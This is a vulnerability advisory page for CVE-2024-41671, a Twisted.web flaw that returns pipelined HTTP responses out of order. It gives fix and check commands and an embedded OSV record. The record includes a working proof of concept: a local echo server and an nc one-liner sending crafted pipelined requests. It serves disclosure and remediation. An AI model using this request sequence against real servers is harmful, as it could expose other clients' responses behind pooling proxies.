CVE-2024-41671: Twisted Twisted.web Has Disordered HTTP Pipeline Vulnerability
MODERATECVE-2024-41671 is a MODERATE (CVSS 8.3) twisted.web has disordered http pipeline vulnerability (CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')) affecting Twisted libraries in the PyPI ecosystem. The issue involves twisted.web has disordered http pipeline response. Remediation is available by upgrading affected packages to version 24.7.0rc1.
CVE-2024-41671 at a Glance
Security Impact
CVSS: 8.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L).
How to Fix CVE-2024-41671
To remediate this vulnerability, upgrade all affected Twisted dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install twisted>=24.7.0rc1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show twisted
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2024-41671, inspect your installed packages using pip:
pip show twisted
Analyze the terminal output to locate any version of Twisted in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 24.7.0rc1), your application is affected.
Note: The pip show twisted command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling'), where the product acts as an intermediary http agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed http requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination. In Twisted, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-41671 Affected Twisted Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
twisted
|
PyPI |
< 24.7.0rc1
|
24.7.0rc1
|
References
Frequently Asked Questions
What is CVE-2024-41671?
Which Twisted versions are affected?
What version fixes CVE-2024-41671?
Is twisted affected?
What is the CVSS score of CVE-2024-41671?
What CWE is associated with CVE-2024-41671?
How can I check PyPI dependencies for CVE-2024-41671?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-c8m8-j448-xjx7",
"modified" : "2025-11-04T16:51:06Z",
"published" : "2024-07-29T16:33:11Z",
"aliases" : [ "CVE-2024-41671" ],
"summary" : "twisted.web has disordered HTTP pipeline response",
"details" : "### Summary\n\nThe HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.\n\n### PoC\n0. Start a fresh Debian container:\n```sh\ndocker run --workdir /repro --rm -it debian:bookworm-slim\n```\n1. Install twisted and its dependencies:\n```sh\napt -y update && apt -y install ncat git python3 python3-pip \\\n && git clone --recurse-submodules https://github.com/twisted/twisted \\\n && cd twisted \\\n && pip3 install --break-system-packages .\n```\n2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:\n```python\nfrom twisted.web import server, resource\nfrom twisted.internet import reactor\n\nclass TheResource(resource.Resource):\n isLeaf = True\n\n def render_GET(self, request) -> bytes:\n return b\"GET\"\n\n def render_POST(self, request) -> bytes:\n return b\"POST\"\n\nsite = server.Site(TheResource())\nreactor.listenTCP(80, site)\nreactor.run()\n```\n3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:\n```sh\n(printf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nPOST / HTTP/1.1\\r\\nContent-Length: 0\\r\\n\\r\\n'; sleep 1; printf 'GET / HTTP/1.1\\r\\n\\r\\n'; sleep 1) | nc localhost 80\n```\n4. Observe that the responses arrive out of order:\n```\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:41 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 4\nContent-Type: text/html\n\nGET\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\n```\n\n### Impact\nSee [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "twisted"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "24.7.0rc1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 24.3.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/twisted/twisted/security/advisories/GHSA-c8m8-j448-xjx7"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-41671"
}, {
"type" : "WEB",
"url" : "https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33"
}, {
"type" : "WEB",
"url" : "https://github.com/twisted/twisted/commit/4a930de12fb67e88fefcb8822104152f42b27abc"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/twisted/twisted"
}, {
"type" : "WEB",
"url" : "https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html"
}, {
"type" : "WEB",
"url" : "https://www.vicarius.io/vsociety/posts/disordered-http-pipeline-in-twistedweb-cve-2024-4167"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-444" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2024-07-29T16:33:11Z",
"nvd_published_at" : "2024-07-29T15:15:15Z"
}
}